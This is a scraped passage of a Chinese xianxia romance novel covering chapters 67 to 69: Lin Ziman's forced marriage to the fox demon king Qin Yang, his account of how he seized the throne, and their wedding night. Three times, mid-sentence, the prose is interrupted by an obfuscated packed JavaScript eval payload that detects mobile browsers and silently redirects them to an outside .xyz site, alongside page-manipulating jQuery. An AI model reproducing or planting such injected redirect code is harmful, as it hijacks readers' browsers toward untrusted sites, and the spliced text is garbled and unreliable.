这件事上,秦扬自知理亏,但今日不是解释的好时机,只能讨好地朝林子满笑笑,有些低声下气地说:“这事确实是我不对,日后我会将原委一五一十全都告诉长老,我保证,以后再不会有任何事欺瞒长老。” 林子满冷眼看着他,明显不信:“那你今天这一出又是为了什么?” “为了人妖两族重修旧好啊。”秦扬一脸诚恳地说,“我当真是这么想的。” “那你直接令那些妖不要再伤人即可,怎的还要拉上我做借口?” “人族多疑,我若别无所求,他们定要疑心我有其他图谋,怎会愿意配合休战?再说了,我一直想光明正大地与长老在一起——”秦扬目光幽怨地看着她,“长老不肯给我名分,还不许我自己挣一个吗?” 林子满嘴角一抽:“……” 待一众妖兽将大大小小拢共三百六十箱聘礼送上无为峰后,秦扬指尖凝出一团灵光,轻轻按在林子满额前,放下手时,一枚青色的狐狸印记出现在林子满额心。 他安抚地拍拍林子满的手,轻声道:“放心吧,不会再有人能伤害你,这些时日你只需安心待着,开开心心地等着做我的新娘子就好。” 到底有什么可开心的?林子满麻木地想。 “十日之后便是难得一遇的良辰吉日,到时本王会亲自前来,郑重迎娶林长老,望玄门百家到时皆来观礼。”秦扬朗声道,“此次联姻若成,两族就此休战。否则,本王也不介意扬我妖族威名。” 他话语中的威胁之意过于明显,众修士心中难免不忿,却无一人敢说什么,毕竟秦扬的话虽狂妄了些,却也是不争的事实。 就在这时,突然有一道声音响起—— “你会后悔的。” 众人循声望去,发现说话之人竟是林芷。 她颈侧的伤口已经止住血,在灵力的作用下开始慢慢结痂恢复,她一把推开身边人的搀扶,死死盯着秦扬:“你知道她为什么会喜欢你吗?” “哦?”秦扬来了兴致,作洗耳恭听状,“为何?” 林芷满怀恶意地说:“因为你这张脸。” 听见这话,林子满垂在身侧的手不自觉握紧,神情复杂地垂下眼睫,有些不敢去看秦扬的脸色。 却不想,秦扬听完这句话并无太大变化。 “这个本王知道啊。”他语气里甚至有些失望,“不如你再说些本王不知道的?” “你知道?!”林芷这下是真的震惊了,“你知道还甘愿如此?堂堂妖族之主竟愿意以色侍人?” “那些本王都不在乎,本王只知道想要的东西就一定要得到,不论是用什么方法。再说了,以色侍人又怎么了?皮囊能吸引到配偶本就是一件值得骄傲的事。”秦扬无所谓地一摊手,“你当我们妖族与你们一般迂腐吗?妖族求偶一看实力,二看相貌,生灵天性皆是如此,就连不通灵性的寻常鸟雀,都知道求偶需要一身艳丽的羽毛。这明明是再正常不过的事,偏偏被你们人族说的如此不堪。” “喜欢一个人的相貌就是肤浅?你们说这话时难道不感到羞愧吗?林宗主,人族有多看重相貌,你不是最清楚吗?不然何至于日日随身带着那千面妖丹?” 自己那隐藏在千面妖丹下已经苍老的脸庞,是林芷最不愿面对的,但凡提及此事的人都会被她记恨上,而后被她狠狠报复。但此时她看着自信又不屑的秦扬,不但没有怒上心头,反倒生出了一个更加残忍的念头。 林芷没再去解释他和自己所说的根本不是一回事,因为她忽然发现,此时其实并不是揭露真相的最佳时机,待到情网深陷时再给他们致命一击,岂不比现在痛快百倍? 贪恋皮囊在秦扬看来是很正常的事,甚至引以为豪,但当这高傲的妖族之主某一天忽然发现,与自己恩爱缠绵的伴侣只是将自己当成一个死人的替身呢?他还会毫不在意吗? 不可能的。 没有人能忍受自己在别人眼里只是一个影子。 越是恩爱,越是感情深厚,真相暴露的那天,伤痛与怒火就越是剧烈。 到那时,秦扬还会像今天这样,以整个人界的安危为要挟护着林子满吗? 怕是不需要林芷动手,秦扬自己都会恨不得要杀了这个戏弄自己的女人吧? . “师父!到底怎么回事?怎么整个修真界都在传你要去妖都和亲?!” 林子满刚送走几只来给她测身量裁嫁衣的蚕妖、蜘蛛精,还没清净几刻钟,屋外就传来咋咋呼呼的喊声。 她头疼地揉了揉额角:“你在虎行山就是这样修行的?和亲是这么用的吗?!” “意思不是差不多嘛。”茅重从外奔进来,片刻不歇地紧接着问,“所以那些传闻都是真的?秦扬那小子竟然是妖王?还逼着师父你去和……和他成亲?”在林子满凉凉的视线中,茅重口中的“和亲”不自然地转了个弯。 林子满懒得理他,讥讽道:“才修行了不到一年就回来了,是实在太差劲,白斓不肯要你了吗?” “怎么可能!白长老可喜欢我了,怎么可能不要我了!” 林子满冷嗤一声:“是谁才去了半月就传讯回来诉苦,说白斓过于严苛,快要受不了了?还可喜欢你了,可喜欢揍你吗?” 茅重讪讪地挠挠头,有些不好意思地说:“那时是我不懂事,没有体谅白长老的一片苦心。后来我发现白长老虽严厉了些,可都是为了我好,她其实很关心我的。” “诶哟哟——”林子满啧啧称奇,像看什么稀罕物一样看着茅重,“在无为峰上这么多年,也没见你这么懂事过啊。” “师父!你别扯开话题,你还没说到底怎么回事呢?!”茅重恼道。 “还能怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902884|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么回事,就那么回事呗。”林子满含糊道,支着头不耐烦地赶人,“既然回来了就快去将你那一池子灵鱼清理了,成日里叫唤着要吃食,烦死了!” 茅重注意力果然被引走,刚应了一声准备出门,又有一道声音从屋外响起—— “就那么回事是怎么回事?” 听见这声音,林子满先是一顿,而后猛地抬起头来,就见迟渊正眼含笑意跨进门来。 “你醒了?恢复得怎么样了?”林子满忙迎上前去。 待走到近前,林子满又是一顿,迟渊身上的气息与之前相比更加内敛深沉,显然修为大有进阶,她惊讶地问:“你这是……已经到炼虚期了?” 迟渊点点头,自来熟地在桌边坐下:“在化神期困顿了那么多年,始终无法进阶,没想到这次竟因祸得福,醒来便成了炼虚期。” “你为了人族不惜毁掉最珍惜的右手,几乎可以说赌上前程不顾,这份心境,天道也该心生垂怜。” 挥退没点眼力见还杵在一旁好奇观望的徒弟,林子满在迟渊身边坐下,提起茶壶给他斟了杯茶:“恭喜啊。” 迟渊眼神复杂地看着她:“该说声恭喜的不是我吗?还未贺你喜事将近啊。” 林子满倒茶的动作一顿,苦笑道:“你就别打趣我了。” “我才醒没两日,就听见外界都在传你深明大义,为保人族太平将入妖都以身饲虎。本以为你是受人胁迫,不想要饲的却是你先前带在身边的那个小弟子。”说到这儿迟渊冷哼一声,忿忿道,“我就知道那小子没安好心!” “所以这到底是怎么一回事?你就算是贪图他的相貌,也不至于鬼迷心窍到把一代妖王时时带在身边的地步吧?”说着说着迟渊一顿,突然觉得不是没有这种可能,随即用怀疑的眼神打量她,“难不成你们真是提前串通好演了一出戏?” “这还真不是,我连他妖族的身份都是他暴露以后,我才从别人嘴里知道的。”林子满无奈地叹了口气,将前因后果大致解释了一遍。 越听迟渊的眉头皱得越紧,他沉声问:“所以此事你心里根本不愿意?” 林子满透过镂空的窗户望向远方云雾缭绕的山林,轻声道:“也谈不上愿不愿意,这种事若没有更好的办法,就随他去吧。” “什么叫随他去吧?原先你可是连屋里的花摆得不好看都要亲自上山重新采的人,如今这种人生大事,也能随他去了?!”迟渊恨铁不成钢。 “那时不是年轻嘛,一天天使不完的精力,到处作妖,如今我可作不动了。”林子满失笑,“再说了,对我来说这当真算不得什么大事。我从前也没亏待过秦扬,就算去了妖都,他也不会突然说要取我性命或是要折磨我,除却生死,还有什么是无法接受的大事呢?” “你倒是心胸豁达,十分看得开啊!”迟渊阴阳怪气地讽道。 林子满翻了个白眼,回道:“哪里哪里,远及不上迟少主!” 两人斗了片刻嘴,安静地品了会儿茶,迟渊突然想到什么,问:“你方才说,秦扬暴露身份是在永凌山内,知道内情的也都是门内弟子?” 林子满点点头,说:“我知道你在怀疑什么,当时我也疑心过。那晚秦扬身份暴露后,小清已下令严禁将此事外传,而永凌山与上阳宗相去甚远,平时根本没有交集,林芷到底是怎么知道秦扬妖族身份的?” “但此事根本无从查起,那段日子大家都忙着抵御妖族,行踪不定,谁知道是哪个‘刚正不阿’的弟子跑去跟上阳宗告的状?”林子满搁下茶杯,“而且关键时刻秦扬搅和了这一脚,永凌山到底没受到什么实质性的损伤,此事只能不了了之。” 68. 新婚 十日时间,说长不长,说短不短,筹备一场盛大的婚礼却是远远不够的。 但那日,遮天蔽日的飞鸟瑞兽,绚丽夺目的五彩神光,不绝于耳的丝竹之声,映红了半片天空的红霞绸缎,整整数月都是修真界众人最热衷的话题。 妖都,灵泽城内—— 各色宫殿洞府门前都悬浮着喜庆的火红灵花,夜明珠晃得人眼睛都睁不开,大大小小的妖怪立于道路两侧,一边齐声贺道“恭迎妖王、妖后”,一边偷偷用好奇的眼光打量那顶玉雕喜轿。 然而火玉雕成的轿子只能透出影影绰绰的光,隔绝了一切朝里探查的目光。 浩浩荡荡的迎亲队伍进了妖王宫,简单又郑重的结亲仪式后,林子满被扶进了妖王寝殿。 秦扬应付完一众前来道贺的妖族,想到端坐在床榻前的新嫁娘正安静地等着他去掀起盖头,心中微微发热,不由得加快了脚步。 然而他推开大门,踏进寝殿后,身形顿时一僵。 林子满已经掀去盖头,撤下头饰,如瀑青丝散在脑后,怀中抱着一柄剑,坐在榻上幽幽地看着他。 秦扬眼皮一跳,顿觉事情不妙。 他合上殿门,深吸了口气,转身时脸上已带了温和的笑,他面色如常地朝榻边走去:“长老怎么自己把盖头揭了?是屋里太闷了吗?” 林子满不语,只神情莫测地看着他。 待秦扬脸上的笑越来越僵,眼看就要维持不住时,她才悠悠地拔出一直抱在怀里的剑,“噌”地一声反手架在他脖子上。 “先前不是解释的好时机,现在总能将事情原委一一说清楚了吧?”林子满用剑尖挑起秦扬的下巴,“别再给我耍心眼子,我手中的剑可不是拿来吓唬你的。” 秦扬叹息一声:“长老又何必这样。” 说着他竟直接以手握住了剑锋! 下一刻殷红的鲜血便涌了出来。 林子满一惊,连忙松了剑柄,又惊又怒地问:“你这是干什么?!” 秦扬丢掉染血的剑,竟还有心情笑:“长老根本不忍心伤我,又何必做出这样一副狠心的模样?” 林子满瞪着他,一言不发。 秦扬随意施了个诀,朝林子满展示了一下已经止住血的伤口,安抚道:“别担心,只是小伤,并无大碍。” 他脱下绣着繁复花纹的外袍,忽略林子满警告的眼神,自顾自爬上床榻,选了个舒服的坐姿:“我只是想让长老知道,所有一切都是我心甘情愿告诉你的,而非受你胁迫,不得不说。” “这么多事情,从哪里说起呢。”秦扬凝眉思索了一阵,“就从一切的始端,我的父王说起吧。” 秦扬的父亲,上一任妖王,是天地浊气所化大妖——混沌的后代,他无脸无形,生来便是一团没有五官、四肢的肉球,即便后来修行有成,能够变化样貌,也只是模仿他人的外貌,无法修炼出属于自己的脸,因而他对外貌美丽的妖就格外情有独钟。 秦扬的母亲出身青狐一族,生来便是妖媚无比,因此格外受妖王宠爱,最后竟在一众实力强大的女妖中胜出,成功登上了妖后的宝座。 但妖后的位子不是那么好坐的,即便她没出几年就生下秦扬,秦扬前头也早已有了六个哥哥。 那些王子大多有着实力强大的母族,随便哪一个拎出来都能轻易覆灭青狐一族,二王子更是继承了妖王混沌的血脉,从小便很得妖王喜爱。 这种情况下,只生了个青狐血统儿子的妖后,处境就越发艰难起来了。 妖王宫里有几百位夫人,美貌妖冶者并不在少数,即便她有着绝世容颜,也无法保证妖王对她没有厌倦的一天。因此,她只能将全部的希望寄托在自己唯一的儿子身上。 秦扬自会说话起,就开始学习察言观色,学习怎样说话可以哄人开心,怎样的恩威并施能使人死心塌地,一切笼络人心的手段,都是他必须要掌握的技能。青狐一族战力不高,即便秦扬天赋异禀,生来妖力就强于大部分族人,与天性血腥好斗的其他妖族比起来,实在称不上优势。他能利用的东西很有限,唯一能依仗的只有天生的美貌。 秦扬对此感到深深的厌恶,却又无计可施。一旦他流露出不愿的神情,他的母亲就会撕下平日里温婉的表象,歇斯底里地质问他是不是想让整个青狐族为了他这点小性子去陪葬! 后来秦扬苦修秘法,最终青瞳秘术大成,他才终于可以戴上面具,不用再忍受旁人赤裸又垂涎的目光。 练成青瞳秘术后,秦扬收拢部下的速度快了许多,麾下势力很快便到了能与二王子分庭抗礼的地步。 但当时妖王还未露颓势,谁也不知道他还要在妖族之主的位置上坐多久,对于最优秀的两个孩子,他向来一视同仁,从未特意偏袒过谁。换言之,谁也猜不透他心里是怎么想的,妖王宝座的下一任主人究竟是谁,无人敢妄自轻言。 为了拿到更多的筹码,在与强大的兄长夺位时胜出,秦扬决定铤而走险。 他曾从一只意外救下的小妖口中得知,在妖都边缘地界,有一片几乎没有灵气的荒滩,藏着能进入人界的入口。每年夏季,暴雨时节,狂暴的大风席卷着砂石在妖都肆虐,此时若有妖力低微的小妖进入那片荒滩,在遮天蔽日的飞沙走石中侥幸存活,便有可能找到隔绝之阵,进入人界。 但这样做的风险极大。妖都的狂风是能将苍天大树甚至巨石都卷上天空的,一颗普通的小石子在风中都能成为杀人的利器,在这样的天气待在荒滩等一个不知道什么时候会显现的阵法,不亚于自寻死路。若是妖力强大的妖,自然不惧这一场石砾袭身,但偏偏只有妖力低微的小妖才能通过阵法。 况且就算经受住了狂风砂石,若运气不好,也没办法离开妖都。 秦扬救下的那只小妖就是因为去了荒滩,在漫天砂砾中苦苦支撑,好不容易看到阵法显形,拼命扑上去时,阵法散发的灵光却在狂风中消弭了,终究是慢了一步。他最终只能遍体鳞伤离去,不治而亡。 妖都灵气稀薄,远不及人界,只有灵泽灵气略微充沛,但那是大妖才有资格进入的地方,其他的妖要想存活下去,就要拼命去争、去抢! 因此重返人界一直是妖都众妖毕生的心愿。 苦苦挣扎求生的小妖想去人界谋一条不那么难的活路。 大妖想去灵气更充沛的地方提升修为,去抢占更大的地盘,去肆意屠杀卑微弱小的人族。 若能寻到破解隔绝之阵的法子,那无论二王子有多少忠心耿耿的部下,无论妖王想将位子传给谁,秦扬都有十足的把握成为新一任妖王。 于是秦扬以历代青狐族族长留下的心头血为引,炼制出几枚长针,辅以秘术,封印住自己一身的妖力,趁狂风暴雨法阵受影响时,首次离开妖都,进入人界。 虽然他遇到林子满时是一副十来岁的少年模样,其实已在人界徘徊许多年,辗转过凡间与修真界,明里暗里地探查了许多地方,才锁定了当年那位李氏仙人后人所在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902885|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但他潜伏没几日,就碰上了觊觎李家传世宝物的修士前来劫掠,对方人多势众,秦扬妖力又被封印,实在不好硬碰硬,情急之下只来得及带走年纪尚小的李素月。 隔绝之阵因年岁久远出现薄弱处,进出口却并不在一处,从妖都来到人界的地方并不能返回妖都,要回去就得找到其他的阵法薄弱处。因此遇见前来寻人的林子满时,秦扬为了计划不出纰漏,决定就此隐藏身份留在修真界,一边继续查探有关隔绝之阵的事情,一边暗中寻找返回妖都的办法。 他本是妖,人族的修行之法对他来说并不适用,因而刚入永凌山时,所有人都觉得他资质平庸,将来难有作为,林子满却执意让他拜入吕秉清门下,又寻了各种法子为他重锻体质。 起初秦扬并不相信林子满做这一切都是真心实意的,他从小到大学会的最重要的一件事就是没有人会无缘无故地对你好,所有的付出都会被索要回报,就连父母也不例外。 可时间一年年过去,林子满依旧是那样别无所求地对他好,秦扬对这样纯粹的感情茫然又贪恋,因此在人界逗留了一年又一年,迟迟未回妖都。 这些年来,他一直刻意维系着与李素月的关系,利用她的信任偷偷收集她的血,炼制成能够能够让大妖也通过隔绝之阵的血丹。 本打算时机成熟时,带着李素月这个最大的筹码返回妖都,拿下妖王的位置,却不料在得失境里遭遇意外。 秦扬没想到他们意外坠入的湖底连接着魔域,而魔域又藏着妖都的入口。更没有料到林芷会在脱困后将见过她苍老容颜的人全部杀掉,李素月死里逃生后坠下山崖,机缘巧合下通过魔域进入妖都,却因身受重伤引来附近的妖修。 而最大的变故,是那一双黑白阴阳鱼。 即便秦扬令手下杀了紫笙,那两条鱼妖也终究没能逃脱魔爪,最终还是落入了貂王手中。 若李素月没有进入妖都,即便那两条鱼妖再怎么擅长阵法,对上隔绝之阵也是无能为力的。可偏偏就那么巧,鱼妖和李素月被先后进献给了妖王! 李氏仙人以血肉之躯殉阵,方才有了这万年长存的隔绝之阵,而他的血脉后代,正是破解阵法的唯一办法,李素月就这样在群妖注视下惊恐地化作了一片血雾。 隔绝之阵一旦彻底被毁,妖都的局势就会发生翻天覆地的变化,二王子作为最大的功臣,成为下一任妖王几乎是板上钉钉的事。妖后见势不妙,急忙命人趁阵法破损之际前往人界寻找秦扬,令其速回妖都。 幸而蕉林谷对此早有准备,迟渊当时又恰好在妖都,拼尽全力阻止了阵法的崩塌,秦扬回到妖都时才不至于彻底陷入被动的境地。 隔绝之阵虽有破损,垂垂危矣,却依旧能阻止妖力强大的妖进入人界,此时拥有能够随意通过阵法的血丹的秦扬,顿时就成了众大妖争相投诚的对象。 与此同时,逃离妖都的小妖发现人界也并不是他们想象中的极乐之地,他们虽能轻易夺取普通凡人的性命,却也会被修士联合绞杀,随着两族战火愈演愈烈,即便是安分守己未曾伤人的妖也会被不由分说地屠戮,不少妖又灰溜溜地逃回了妖都。 于是秦扬在妖都放出传言,称他有办法令人妖两族和睦相处,只要不主动伤人,妖族便能在人界像人族一样生活。 就这样,得到了大小妖族支持的秦扬,成功逼迫老妖王退位,成为新一任妖族之主。 唯一可惜的就是让二王子在重重追杀中逃了出去。 69. 原身 “事情经过大概就是这样,我能想到的都已经告诉你了。”秦扬想了想,不放心地补充了一句,“如果有什么遗漏的地方,并不是我有心瞒着你,而是没想起来同你说,你有什么想问的随时可以来问我。” 林子满盯着他看了片刻。 秦扬回以真挚又无辜的眼神。 许久之后,林子满终于大发慈悲地说了句:“行吧,暂且相信你。” 说完下了床,捡起扔在地上的剑收回储物镯,朝桌边走去。 “别啊,什么叫‘暂且’相信我?我对长老之心天地昭昭、日月可鉴,绝无欺瞒!”秦扬跟在她身后,颇有些没脸没皮地说。 林子满意味不明地哼了一声,倒了杯茶一饮而尽,随手又倒了杯递给秦扬:“说了这大半天,你不渴吗?” 秦扬受宠若惊地接过来,捧在手里一点点喝着,一边偷眼去看林子满的脸色:“长老这是不生气了吧?” “生气又能如何?我如今孤身一人入妖都,势单力薄,不还得仰仗你的鼻息过活?”林子满悲凉地叹息一声。 “长老这话可就折煞我了,白日茅师兄送亲时还严厉警告过我,若是对你不好,他一定杀来妖都给我点颜色瞧瞧,我可不得将长老捧在掌心好好爱护啊?”说到这儿秦扬觉得有趣,“那小猫妖倒还有几分胆色,在我面前非但丝毫不露怯,竟还威胁上我了。” 林子满喝茶的动作一顿:“你什么时候发现的?” 秦扬道:“也是今日见他才觉出不对的,从前妖力被封,竟丝毫没发现他也是妖。除却那精妙的障眼法咒,他身上属于妖族的气息并不重,想来并不是纯血妖族吧?” 林子满叹了口气:“他父亲只是个凡人。” 秦扬了然地点点头,不再过多追问。母亲为妖,父亲是凡人,这小猫妖却是跟在林子满身边长大,个中原委想来也不会轻松愉快。 看着秦扬那双漆黑的眼瞳,林子满忽然问:“你那瞳术当真那般厉害?能一次控制住那么多人,还能随意夺人性命?” “那当然,”秦扬顿了顿,在林子满惊讶的眼神中悠悠接道,“——是没有那么夸张的。” 林子满:“……” “若当真能随时随地将人控制住,还没有什么限制,当初我也不必大费周章,冒险进入人界,早在练成瞳术时就直接夺位了。”秦扬叹了口气,“那次轻易就将那些人制住,是因为他们没有防备,不知道我还有这一手,若提前守住心神,就要费力许多。而且瞳术三日才能用一次,每次使用时控制的人越多,对方的修为越高,耗费的妖力就越多。那日我没有过多逗留,震慑住他们就离开了,就是怕待的太久露出破绽,引起他们的怀疑。” 原来那日盛气凌人、故作高深的大妖,背地里已是妖力耗尽的强弩之末,林子满哼笑一声:“你还挺能装。” “没办法啊。”秦扬哀叹一声趴倒在桌上,“所有人只看得到妖王大权在握、威风凛凛,他们哪知道这个位子有多难坐,又是付出了什么才能坐上这个位子。” “不过我很庆幸自己从未放弃过。”秦扬抬起头,定定地看着林子满,狭长的双眼里是浓到化不开的深情,“如果我曾经受不住放弃了,今天又哪能光明正大地迎娶你呢?” 林子满干咳一声,有些不自在地移开了目光。 秦扬笑起来:“长老真是容易害羞。” 这跟害羞有什么关系吗? 一把年纪了在这儿听他说些酸话,搁谁身上受得了啊! 林子满不想接这话茬,扭头时恰好看见铜镜里自己额前的青色狐纹,她摸着额心问:“所有那次在得失境,坠入湖底时我看见的是你的原身?” 秦扬点点头:“我们第一次摔下去时运气好,被长在山壁上的树挡了几次,落进湖里时离岸边不远,那群嗜血食肉的鱼没追几步我就带着你上了岸。后来摔下去的一瞬间我就直觉不妙,立马破了封印,化出原身,才不至于被那群鱼分食殆尽。” 若非妖身皮毛厚实,他们怕是要比莫叶声还要惨上许多。 林子满打量着身形颀长的秦扬,突然来了兴致:“当时情况紧急没来得及细看,不如你再变一次给我瞧瞧?” 秦扬闻言一愣,继而目光幽深起来,似笑非笑地看着她。 林子满这才发觉自己或许是提了个无礼的要求,刚要解释:“我只是……”一句话才说了个开头就卡在了喉咙里。 原本坐在桌前的秦扬消失了,取而代之的是一只巨大的狐狸,慵懒地蹲坐在地,一双竖瞳闪着幽暗的光,青色毛发根根分明,在空中无风自动。 它抖了抖尖尖的耳朵,站起身来,迈着四条腿优雅地走过来,而后抬起纤细修长的前肢,搁在了林子满膝头,忽闪着眼睛望着她。 林子满不明所以,试探地将手放在那双爪子上,而后情不自禁握住。 原因无他,手感实在太好了! 林子满原本以为像它这样大的妖兽,皮毛肯定算不上舒服,就像小猫的毛摸起来软乎乎,老虎的毛就又硬又扎。但没想到的是这大狐狸的毛格外细腻柔软,又带着温温热度,伸手一抚就像流水淌过指尖,稍一用力手指就能陷进去,摸到更加温热的内里。 林子满忍不住顺着爪子一路往上摸去,稀奇地揉搓着关节,感受奇特的手感,手中的狐狸腿却忽然变细了。 林子满一愣,一只比家猫略大些的狐狸趁势跃进她怀里,蹲在她腿上摇晃着毛茸茸的蓬松大尾巴。 化作小狐狸后,原本狭长的眼睛显出几分圆溜溜的可爱,湿漉漉地望过来时,林子满感觉心跳都停了停,被它看得心都要化了。 林子满强自镇定,伸手捏了捏那对不住晃动的耳朵,柔软小耳朵入手的一瞬间,林子满感觉耳边好像有烟花炸响,内心一阵酥麻。她拼尽全身力气才克制住自己,没有把脸深深埋到小狐狸身上。 可小狐狸享受了一阵揉耳朵捏脸颊,从头顶顺毛到尾巴尖,还是不太满足,伏倒在林子满腿上,四肢一抻,一个翻滚,歪头露出雪白柔软的肚皮,无辜的眼神透露出明晃晃的勾引。 林子满故作矜持地将手伸过去,试探着顺毛摸了一下,心中感叹肚皮上的毛果然比其他地方的更软!她忍不住把手插进毛里,逆着毛撸了上去又顺下来,最后贴着肚皮,不住收拢手指又散开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902886|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 片刻后,一阵青光闪过,衣衫松散、发丝凌乱的秦扬出现在桌边,呼吸略微急促,他拿过茶杯灌了一大口冷茶,眼里的幽暗之色才褪去些许。 林子满这才如梦初醒,惊觉自己做了些什么,有些尴尬地捏着手指,干巴巴地说:“那什么……你原身挺……挺可爱的哈,哈哈。” 秦扬理了理衣裳,调整了一番呼吸,重又在桌边坐下,拎起系着红绸的酒壶,取过摆在盘中对半剖开的一只精致小葫芦,斟了小半酒在其中,而后将其中一半递给林子满。 秦扬笑起来,声音犹带几分沙哑:“长老不必感到窘迫,妖族结亲是有展露原身这一步的,原身能得伴侣喜爱,是多少人梦寐以求的事,我高兴还来不及呢。” 林子满瞅着递到身前的酒,满腹疑惑:“这也是你们妖族的传统?” “这倒不是。”秦扬看她接过,脸上笑意越浓,“只是妖族不重俗礼,结亲仪式过于简单,怕怠慢了长老,才学了些人族的仪式。” 共牢而食,合卺而酳,夫妻自此琴瑟和鸣。 林子满不知道自己是怀着怎样的心情喝下这杯合卺酒的,她本不该这样纵容秦扬的。 但今夜月色太好,晚风微凉,美酒柔而不烈,她不愿去想太多,其他的事都等以后再说吧。 翌日,林子满直睡到日上三竿才醒,寝殿被窗外投进来的太阳照得暖洋洋的,身边的大狐狸早已不见了踪影。 昨夜听说茅重还小的时候,冬日常化作原形给林子满暖脚,秦扬就不大高兴,说什么也要挤在床上同她一起睡,美其名曰他也要尽一尽孝心。 大夏天的被一只毛茸茸的狐狸霸占掉大半张床,林子满实在不明白他这尽的是哪一份孝心? 见她不满,秦扬大手一挥,寒风扑面而来,寝殿内温度骤降,甚至隐约飘起了几片雪花。 这一番操作简直将林子满看得目瞪口呆,一时不察,就被蓬松的尾巴卷进了秦扬怀里。 那厮还臭不要脸地说殿内寒凉,恐冻着了她,快让他给暖暖。 林子满是想暴起给他几拳的,奈何手脚都被紧紧缠缚住,丝毫动弹不得,只能瞪着一双眼怒目而视,秦扬丝毫不怵,眨巴着一双无辜的狐狸眼低头回望。 一人一狐就这么大眼瞪小眼地对视半晌,林子满最终撑不住睡了过去。 没办法,寝殿内寒意飕飕,裹着自己的皮毛却温热又柔软,实在很摧人心智,逼得人睡意上涌。 刚睡着时倒还舒适,睡着睡着却像是置身火炉,烤得林子满口干舌燥,拼命挣扎出那厚实的皮毛,呼吸一口含着冰雪气息的空气来降降温,久了却又觉得冷,不自觉地往温热的皮毛里钻,如此反复,一整晚都没睡踏实,直到快天亮了才好些,搂着蓬松的尾巴沉沉睡去。 盯着床帐上的纹饰发了会儿呆,林子满拥被坐起,眯眼打量起屋内陈设。 昨夜烛光昏暗没注意,此时天光大亮才发现寝殿内的布置极尽奢华,就连身下的大床都是一整块极品白玉雕琢而成,散发着浓郁的灵气。 想想秦扬从前过的清苦日子,林子满感慨地啧啧两声,他倒还真是能忍辱负重。